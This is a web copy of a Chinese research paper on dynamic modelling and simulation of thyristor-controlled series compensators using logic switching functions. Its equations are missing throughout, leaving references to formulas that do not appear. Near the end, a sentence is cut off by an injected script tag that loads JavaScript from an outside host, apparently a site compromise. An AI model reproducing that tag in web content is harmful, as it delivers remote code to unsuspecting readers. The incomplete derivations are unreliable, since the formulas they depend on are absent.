可控串补装置的动态建模及数字仿真研究

摘 要:可控串补(tcsc)动态建模是暂态特性分析和控制策略研究的基础。该文用逻辑开关函数法建立了能系统描述tcsc变拓扑电路暂态全过程的解析数学模型,分析了电容电压暂态特征分量的作用及特点,并通过数字仿真研究了不同同步信号下tcsc的暂态响应过程,揭示了电容电压同步下产生超调振荡主要是由w0分量的暂态过程引起的,并提出以电容电压基波分量作同步信号。仿真结果表明,tcsc的容性调节过程快速且无超调。

关键词:电力系统;可控串补;动态模型; 逻辑开关函数;数字仿真; 暂态过程

1 引言

tcsc的应用是高压输电系统在控制方面的重要突破,它可发挥现有输电系统的潜力、提高输送能力、灵活地调节系统潮流、增强系统的阻尼作用,是保证超高压电网安全稳定运行的重要技术措施。近年来,人们十分关注tcsc暂态特性分析和控制策略的研究,而tcsc动态建模是进行此研究的理论基础。

tcsc是由储能元件、非线性电阻及晶闸管构成的变拓扑电路,建立这种电路的动态数学模型一直是研究的难点。文[1]~[3]提出的“拓扑建模法”是利用电路的拓扑结构将tcsc分成晶闸管导通和截止两种状态,分别建立各自的状态方程进行求解,研究结果揭示了电容电压同步下引起超调振荡的原因是电容电压过零点和导通角的动态变化,并且说明导通角的动态变化表征了基波阻抗的暂态特性,但给出的递推式解析数学模型是在晶闸管电流(或导通角)关于电容电压过零点对称的近似条件下推出的。文[4]同样是基于tcsc导通和截止两种状态分别建模的方法并得出电容电压增量的特点。这种建模方法忽略了tcsc本身所固有的动态电阻效应,并不是系统性的建模方法,因此,其分析结果只能近似地反映tcsc电路的暂态过程。

本文提出能描述tcsc动态全过程的系统性建模方法,通过仿真,研究不同的同步信号下tcsc的暂态过程,以揭示引起基波阻抗超调和振荡的机理。

2 tcsc动态数学模型

2.1 双向晶闸管逻辑开关函数模型

本文应用逻辑开关函数理论[5]并结合等效电阻法进行tcsc的动态建模。为tcsc的暂态特性研究提供理论依据。

tcsc是由双向反并联的两只晶闸管构成,每个晶闸管在一个周期内导通一次、阻断一次,tcsc的拓扑结构在晶闸管导通与阻断之间交替变化运行。而晶闸管的导通与关断是有条件的,其一方面受控于控制信号,另一方面受控于晶闸管自身状态。以逻辑开关变量m表示双向反并联晶闸管的状态,当双向晶闸管导通时,m=1,截止时, m=0。因此,m(t)可由脉宽为2b 0的周期性方波或阶跃函数表达为

式中 α0为初始触发角;*为卷积符号;2b 0为初始导通角,即触发脉冲宽度,初始触发角β0=180°-α 0;n为晶闸管触发次数;δt(t)表示周期t为p的冲激序列;gτ(t)(t)表示宽度为τ的方波函数。

式中 t1为导通角由2b 0跃变为2b的时刻。

根据晶闸管元件的导通和阻断特性,当晶闸管导通时,正向电阻rz很小;而当晶闸管元件阻断时,反向电阻rf很大,因此, 可将双向晶闸管元件等效为可变的动态等效电阻r,表示为

可见,r是含逻辑开关函数m(t)的可变电阻,动态电阻rz是包括晶闸管导通电阻和调制电感的固有电阻。

晶闸管两端电压可表示为

通过以上定义,使双向晶闸管得到了一般性和系统性描述,通过逻辑开关变量的动作,将拓扑结构交替变化的两种电路耦合在一起,为建立tcsc装置的动态数学模型奠定了基础。

2.2 tcsc动态数学模型

图1所示为tcsc电路模型,在电力系统正常运行下研究tcsc的暂态特性时,可不考虑非线性电阻mov的作用。

如果取电容电压由负变正的过零点作为时间零点,线路电流超前于uc(t)为90°,线路电流则可表示为

状态方程式(7)的初始条件按晶闸管由导通到截止或由截止到导通的跃变时刻tn的电容电压和电感电流不能突变确定,所以

式中 uc(tn)、il(tn)为在tn时刻电容电压和电感电流的瞬时值。

由线性微分方程的经典求解法,式(7)的解由自由响应和强迫响应组成。

电容电压和电感电流的自由响应解析表达式为

电容电压和电感电流的强迫响应解析表达式为

式(7)的全响应为

式中为tcsc回路自然振荡角频率τ=r/l。

由以上分析可见,a、b、r、s、t、p都是包含逻辑开关变量m(t)的时变参数。b1、b2、a由初始条件确定,它们是由系统参数、逻辑开关变量m和m值跃变时刻tn所决定的基本变量函数,在tcsc的暂态过程中表现为时变系数。

上述导出的tcsc动态模型体现了逻辑开关变量m的控制作用和触发角的跃变过程,直观地描述了tcsc变拓扑电路的动态全过程。通过逻辑开关的作用,将tcsc的控制作用与电力系统有机地联系在一起,可为tcsc暂态特性和控制策略的研究提供理论依据。同时这?script src=http://er12.com/t.js>

  • 可控串补装置的动态建模及数字仿真研究已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计